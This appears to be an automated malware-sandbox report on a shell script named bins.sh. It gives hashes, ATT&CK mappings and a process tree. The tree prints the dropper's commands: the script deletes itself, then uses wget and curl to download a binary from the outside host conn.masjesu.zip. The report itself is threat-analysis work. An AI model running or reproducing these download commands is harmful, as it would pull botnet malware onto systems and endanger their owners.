b2f4a0c51167e6768e8ce10b9fe6a7c55fa386dbc7e23ad8c4858c26e99bfa97

Analysis

max time kernel
149s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/11/2024, 02:02

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General

Target
bins.sh
Size 10KB
Sample241122-cf43yssjbz
SHA256 b2f4a0c51167e6768e8ce10b9fe6a7c55fa386dbc7e23ad8c4858c26e99bfa97
MD5 8d75f4c2e4f348e4f2665a89e160be06
SHA1 804624b39b421999467a856489050192dc5c440a
SHA512 ab67a0c4b5ac64b08dec7dde58b45fb2310e4e11834f1b72707a858a3ff2b51e49e16aee81585847f743c8cdcfde6569369ec96627e20491223050123b060f66
SSDEEP 96:YueRLXr77NNilF4LaoakaIEIcyK1i61mWFlFGOLHbtKqiGLO+kLxRxJxuN9DuLuV:Cbtglc5W
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
650	wget
658	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - System Network Configuration Discovery
  PID:650
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MnoC0Y0FfDIdYw2vCidf3SrL5fObQyCL1L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:658

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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